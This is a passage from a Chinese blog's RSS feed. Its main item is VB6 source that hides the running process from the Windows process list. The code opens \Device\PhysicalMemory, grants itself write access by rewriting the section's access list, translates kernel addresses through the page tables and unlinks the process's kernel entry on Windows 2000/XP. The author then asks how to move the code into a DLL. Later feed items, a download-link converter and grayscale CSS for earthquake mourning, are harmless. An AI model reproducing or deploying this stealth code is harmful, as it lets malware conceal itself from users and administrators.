RootDirectory As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; ObjectName As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; Attributes As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; SecurityDeor As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; SecurityQualityOfService As Long<br/>End Type<br/><br/>Private Enum ACCESS_MODE<br/>&nbsp;&nbsp;&nbsp;&nbsp; NOT_USED_ACCESS<br/>&nbsp;&nbsp;&nbsp;&nbsp; GRANT_ACCESS<br/>&nbsp;&nbsp;&nbsp;&nbsp; SET_ACCESS<br/>&nbsp;&nbsp;&nbsp;&nbsp; DENY_ACCESS<br/>&nbsp;&nbsp;&nbsp;&nbsp; REVOKE_ACCESS<br/>&nbsp;&nbsp;&nbsp;&nbsp; SET_AUDIT_SUCCESS<br/>&nbsp;&nbsp;&nbsp;&nbsp; SET_AUDIT_FAILURE<br/>End Enum<br/><br/>Private Enum MULTIPLE_TRUSTEE_OPERATION<br/>&nbsp;&nbsp;&nbsp;&nbsp; NO_MULTIPLE_TRUSTEE<br/>&nbsp;&nbsp;&nbsp;&nbsp; TRUSTEE_IS_IMPERSONATE<br/>End Enum<br/><br/>Private Enum TRUSTEE_FORM<br/>&nbsp;&nbsp;&nbsp;&nbsp; TRUSTEE_IS_SID<br/>&nbsp;&nbsp;&nbsp;&nbsp; TRUSTEE_IS_NAME<br/>End Enum<br/><br/>Private Enum TRUSTEE_TYPE<br/>&nbsp;&nbsp;&nbsp;&nbsp; TRUSTEE_IS_UNKNOWN<br/>&nbsp;&nbsp;&nbsp;&nbsp; TRUSTEE_IS_USER<br/>&nbsp;&nbsp;&nbsp;&nbsp; TRUSTEE_IS_GROUP<br/>End Enum<br/><br/>Private Type TRUSTEE<br/>&nbsp;&nbsp;&nbsp;&nbsp; pMultipleTrustee&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; MultipleTrusteeOperation&nbsp;&nbsp;&nbsp;&nbsp; As MULTIPLE_TRUSTEE_OPERATION<br/>&nbsp;&nbsp;&nbsp;&nbsp; TrusteeForm&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As TRUSTEE_FORM<br/>&nbsp;&nbsp;&nbsp;&nbsp; TrusteeType&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As TRUSTEE_TYPE<br/>&nbsp;&nbsp;&nbsp;&nbsp; ptstrName&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As String<br/>End Type<br/><br/>Private Type EXPLICIT_ACCESS<br/>&nbsp;&nbsp;&nbsp;&nbsp; grfAccessPermissions&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; grfAccessMode&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As ACCESS_MODE<br/>&nbsp;&nbsp;&nbsp;&nbsp; grfInheritance&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; TRUSTEE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As TRUSTEE<br/>End Type<br/><br/>Private Enum SE_OBJECT_TYPE<br/>&nbsp;&nbsp;&nbsp;&nbsp; SE_UNKNOWN_OBJECT_TYPE = 0<br/>&nbsp;&nbsp;&nbsp;&nbsp; SE_FILE_OBJECT<br/>&nbsp;&nbsp;&nbsp;&nbsp; SE_SERVICE<br/>&nbsp;&nbsp;&nbsp;&nbsp; SE_PRINTER<br/>&nbsp;&nbsp;&nbsp;&nbsp; SE_REGISTRY_KEY<br/>&nbsp;&nbsp;&nbsp;&nbsp; SE_LMSHARE<br/>&nbsp;&nbsp;&nbsp;&nbsp; SE_KERNEL_OBJECT<br/>&nbsp;&nbsp;&nbsp;&nbsp; SE_WINDOW_OBJECT<br/>&nbsp;&nbsp;&nbsp;&nbsp; SE_DS_OBJECT<br/>&nbsp;&nbsp;&nbsp;&nbsp; SE_DS_OBJECT_ALL<br/>&nbsp;&nbsp;&nbsp;&nbsp; SE_PROVIDER_DEFINED_OBJECT<br/>&nbsp;&nbsp;&nbsp;&nbsp; SE_WMIGUID_OBJECT<br/>End Enum<br/><br/>Private Declare Function SetSecurityInfo Lib &#34;advapi32.dll&#34; (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any) As Long<br/>Private Declare Function GetSecurityInfo Lib &#34;advapi32.dll&#34; (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any, ppSecurityDeor As Long) As Long<br/>Private Declare Function SetEntriesInAcl Lib &#34;advapi32.dll&#34; Alias &#34;SetEntriesInAclA&#34; (ByVal cCountOfExplicitEntries As Long, pListOfExplicitEntries As EXPLICIT_ACCESS, ByVal OldAcl As Long, NewAcl As Long) As Long<br/>Private Declare Sub RtlInitUnicodeString Lib &#34;NTDLL.DLL&#34; (DestinationString As UNICODE_STRING, ByVal SourceString As Long)<br/>Private Declare Function ZwOpenSection Lib &#34;NTDLL.DLL&#34; (SectionHandle As Long, ByVal DesiredAccess As Long, ObjectAttributes As Any) As Long<br/>Private Declare Function LocalFree Lib &#34;kernel32&#34; (ByVal hMem As Any) As Long<br/>Private Declare Function CloseHandle Lib &#34;kernel32&#34; (ByVal hObject As Long) As Long<br/>Private Declare Function MapViewOfFile Lib &#34;kernel32&#34; (ByVal hFileMappingObject As Long, ByVal dwDesiredAccess As Long, ByVal dwFileOffsetHigh As Long, ByVal dwFileOffsetLow As Long, ByVal dwNumberOfBytesToMap As Long) As Long<br/>Private Declare Function UnmapViewOfFile Lib &#34;kernel32&#34; (lpBaseAddress As Any) As Long<br/>Private Declare Sub CopyMemory Lib &#34;kernel32&#34; Alias &#34;RtlMoveMemory&#34; (Destination As Any, Source As Any, ByVal Length As Long)<br/>Private Declare Function GetVersionEx Lib &#34;kernel32&#34; Alias &#34;GetVersionExA&#34; (lpVersionInformation As OSVERSIONINFO) As Long<br/><br/>Private Type OSVERSIONINFO<br/>&nbsp;&nbsp;&nbsp;&nbsp; dwOSVersionInfoSize As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; dwMajorVersion As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; dwMinorVersion As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; dwBuildNumber As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; dwPlatformId As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; szCSDVersion As String * 128<br/>End Type<br/>&nbsp;&nbsp; <br/>Private verinfo As OSVERSIONINFO<br/>&nbsp;&nbsp; <br/>Private g_pMapPhysicalMemory As Long<br/>Private g_hMPM As Long<br/>Private aByte(3) As Byte<br/><br/>Public Sub HideCurrentProcess()<br/>&#39;在进程列表中隐藏当前应用程序进程<br/>&nbsp;&nbsp;&nbsp;&nbsp; Dim thread As Long, process As Long, fw As Long, bw As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp; verinfo.dwOSVersionInfoSize = Len(verinfo)<br/>&nbsp;&nbsp;&nbsp;&nbsp; If (GetVersionEx(verinfo)) &lt;&gt; 0 Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If verinfo.dwPlatformId = 2 Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If verinfo.dwMajorVersion = 5 Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sel&#101;ct Case verinfo.dwMinorVersion<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case 0<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lOffsetFlink = &amp;HA0<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lOffsetBlink = &amp;HA4<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lOffsetPID = &amp;H9C<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case 1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lOffsetFlink = &amp;H88<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lOffsetBlink = &amp;H8C<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lOffsetPID = &amp;H84<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Sel&#101;ct<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If<br/>&nbsp;&nbsp;&nbsp;&nbsp; End If<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; If OpenPhysicalMemory &lt;&gt; 0 Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; thread = GetData(&amp;HFFDFF124)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; process = GetData(thread + &amp;H44)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fw = GetData(process + lOffsetFlink)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bw = GetData(process + lOffsetBlink)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SetData fw + 4, bw<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SetData bw, fw<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CloseHandle g_hMPM<br/>&nbsp;&nbsp;&nbsp;&nbsp; End If<br/>End Sub<br/><br/>Private Sub SetPhyscialMemorySectionCanBeWrited(ByVal hSection As Long)<br/>&nbsp;&nbsp;&nbsp;&nbsp; Dim pDacl As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; Dim pNewDacl As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; Dim pSD As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; Dim dwRes As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; Dim ea As EXPLICIT_ACCESS<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp; GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, pSD<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp; ea.grfAccessPermissions = SECTION_MAP_WRITE<br/>&nbsp;&nbsp;&nbsp;&nbsp; ea.grfAccessMode = GRANT_ACCESS<br/>&nbsp;&nbsp;&nbsp;&nbsp; ea.grfInheritance = NO_INHERITANCE<br/>&nbsp;&nbsp;&nbsp;&nbsp; ea.TRUSTEE.TrusteeForm = TRUSTEE_IS_NAME<br/>&nbsp;&nbsp;&nbsp;&nbsp; ea.TRUSTEE.TrusteeType = TRUSTEE_IS_USER<br/>&nbsp;&nbsp;&nbsp;&nbsp; ea.TRUSTEE.ptstrName = &#34;CURRENT_USER&#34; &amp; vbNullChar<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; SetEntriesInAcl 1, ea, pDacl, pNewDacl<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp; SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, ByVal pNewDacl, 0<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>CleanUp:<br/>&nbsp;&nbsp;&nbsp;&nbsp; LocalFree pSD<br/>&nbsp;&nbsp;&nbsp;&nbsp; LocalFree pNewDacl<br/>End Sub<br/><br/>Private Function OpenPhysicalMemory() As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; Dim Status As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; Dim PhysmemString As UNICODE_STRING<br/>&nbsp;&nbsp;&nbsp;&nbsp; Dim Attributes As OBJECT_ATTRIBUTES<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp; RtlInitUnicodeString PhysmemString, StrPtr(&#34;\Device\PhysicalMemory&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp; Attributes.Length = Len(Attributes)<br/>&nbsp;&nbsp;&nbsp;&nbsp; Attributes.RootDirectory = 0<br/>&nbsp;&nbsp;&nbsp;&nbsp; Attributes.ObjectName = VarPtr(PhysmemString)<br/>&nbsp;&nbsp;&nbsp;&nbsp; Attributes.Attributes = 0<br/>&nbsp;&nbsp;&nbsp;&nbsp; Attributes.SecurityDeor = 0<br/>&nbsp;&nbsp;&nbsp;&nbsp; Attributes.SecurityQualityOfService = 0<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp; Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ o&#114; SECTION_MAP_WRITE, Attributes)<br/>&nbsp;&nbsp;&nbsp;&nbsp; If Status = STATUS_ACCESS_DENIED Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Status = ZwOpenSection(g_hMPM, READ_CONTROL o&#114; WRITE_DAC, Attributes)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SetPhyscialMemorySectionCanBeWrited g_hMPM<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CloseHandle g_hMPM<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ o&#114; SECTION_MAP_WRITE, Attributes)<br/>&nbsp;&nbsp;&nbsp;&nbsp; End If<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp; Dim lDirectoty As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; verinfo.dwOSVersionInfoSize = Len(verinfo)<br/>&nbsp;&nbsp;&nbsp;&nbsp; If (GetVersionEx(verinfo)) &lt;&gt; 0 Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If verinfo.dwPlatformId = 2 Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If verinfo.dwMajorVersion = 5 Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sel&#101;ct Case verinfo.dwMinorVersion<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case 0<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lDirectoty = &amp;H30000<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case 1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lDirectoty = &amp;H39000<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Sel&#101;ct<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If<br/>&nbsp;&nbsp;&nbsp;&nbsp; End If<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp; If Status = 0 Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 4, 0, lDirectoty, &amp;H1000)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If g_pMapPhysicalMemory &lt;&gt; 0 Then OpenPhysicalMemory = g_hMPM<br/>&nbsp;&nbsp;&nbsp;&nbsp; End If<br/>End Function<br/><br/>Private Function LinearToPhys(BaseAddress As Long, addr As Long) As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; Dim VAddr As Long, PGDE As Long, PTE As Long, PAddr As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; Dim lTemp As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp; VAddr = addr<br/>&nbsp;&nbsp;&nbsp;&nbsp; CopyMemory aByte(0), VAddr, 4<br/>&nbsp;&nbsp;&nbsp;&nbsp; lTemp = Fix(ByteArrToLong(aByte) / (2 ^ 22))<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp; PGDE = BaseAddress + lTemp * 4<br/>&nbsp;&nbsp;&nbsp;&nbsp; CopyMemory PGDE, ByVal PGDE, 4<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp; If (PGDE And 1) &lt;&gt; 0 Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lTemp = PGDE And &amp;H80<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If lTemp &lt;&gt; 0 Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PAddr = (PGDE And &amp;HFFC00000) + (VAddr And &amp;H3FFFFF)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE And &amp;HFFFFF000, &amp;H1000)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lTemp = (VAddr And &amp;H3FF000) / (2 ^ 12)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PTE = PGDE + lTemp * 4<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CopyMemory PTE, ByVal PTE, 4<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If (PTE And 1) &lt;&gt; 0 Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PAddr = (PTE And &amp;HFFFFF000) + (VAddr And &amp;HFFF)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UnmapViewOfFile PGDE<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If<br/>&nbsp;&nbsp;&nbsp;&nbsp; End If<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp; LinearToPhys = PAddr<br/>End Function<br/><br/>Private Function GetData(addr As Long) As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; Dim phys As Long, tmp As Long, ret As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp; phys = LinearToPhys(g_pMapPhysicalMemory, addr)<br/>&nbsp;&nbsp;&nbsp;&nbsp; tmp = MapViewOfFile(g_hMPM, 4, 0, phys And &amp;HFFFFF000, &amp;H1000)<br/>&nbsp;&nbsp;&nbsp;&nbsp; If tmp &lt;&gt; 0 Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret = tmp + ((phys And &amp;HFFF) / (2 ^ 2)) * 4<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CopyMemory ret, ByVal ret, 4<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UnmapViewOfFile tmp<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GetData = ret<br/>&nbsp;&nbsp;&nbsp;&nbsp; End If<br/>End Function<br/><br/>Private Function SetData(ByVal addr As Long, ByVal data As Long) As Boolean<br/>&nbsp;&nbsp;&nbsp;&nbsp; Dim phys As Long, tmp As Long, x As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp; phys = LinearToPhys(g_pMapPhysicalMemory, addr)<br/>&nbsp;&nbsp;&nbsp;&nbsp; tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys And &amp;HFFFFF000, &amp;H1000)<br/>&nbsp;&nbsp;&nbsp;&nbsp; If tmp &lt;&gt; 0 Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x = tmp + ((phys And &amp;HFFF) / (2 ^ 2)) * 4<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CopyMemory ByVal x, data, 4<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UnmapViewOfFile tmp<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SetData = True<br/>&nbsp;&nbsp;&nbsp;&nbsp; End If<br/>End Function<br/><br/>Private Function ByteArrToLong(inByte() As Byte) As Double<br/>&nbsp;&nbsp;&nbsp;&nbsp; Dim i As Integer<br/>&nbsp;&nbsp;&nbsp;&nbsp; For i = 0 To 3<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ByteArrToLong = ByteArrToLong + inByte(i) * (&amp;H100 ^ i)<br/>&nbsp;&nbsp;&nbsp;&nbsp; Next i<br/>End Function<br/><br/>使用前请先设置 App.TaskVisible = False<br/><br/>有谁知道如何让这样的语句在 DLL 类模块里设置吗?]]></description>
		</item>
		
			<item>
			<link>http://www.junyuqin.com/blog/article.asp?id=120</link>
			<title><![CDATA[迅雷、FlashGet、QQ旋风专用链在线转换]]></title>
			<author>junyuqin@sohu.com(junyuqin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Fri,29 May 2009 14:09:47 +0800</pubDate>
			<guid>http://www.junyuqin.com/blog/default.asp?id=120</guid>
		<description><![CDATA[迅雷、FlashGet、QQ旋风专用链在线转换<br/><br/><a target="_blank" href="http://www.junyuqin.com/URLConverter.php" rel="external">http://www.junyuqin.com/URLConverter.php</a><br/><br/>从此电脑里不用同时安装迅雷、FlashGet、QQ旋风了]]></description>
		</item>
		
			<item>
			<link>http://www.junyuqin.com/blog/article.asp?id=111</link>
			<title><![CDATA[512汶川大地震一周年之际，网站默哀，灰色一个月！]]></title>
			<author>junyuqin@sohu.com(junyuqin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Mon,11 May 2009 20:52:47 +0800</pubDate>
			<guid>http://www.junyuqin.com/blog/default.asp?id=111</guid>
		<description><![CDATA[512汶川大地震一周年之际，本站特将网页进行灰色处理，以表哀悼。<br/>另：为方便站点哀悼，特提供素装代码，以表哀悼。<br/>以下为网站素妆灰度处理方法：<br/>一、直接在css文件最前面加入<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.junyuqin.com/blog/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">body{ filter:Gray; }</div></div><br/><br/>或者<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.junyuqin.com/blog/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">html { filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1); }</div></div> 均可<br/><br/><br/><br/>二、其他HTML页面<br/><br/><div 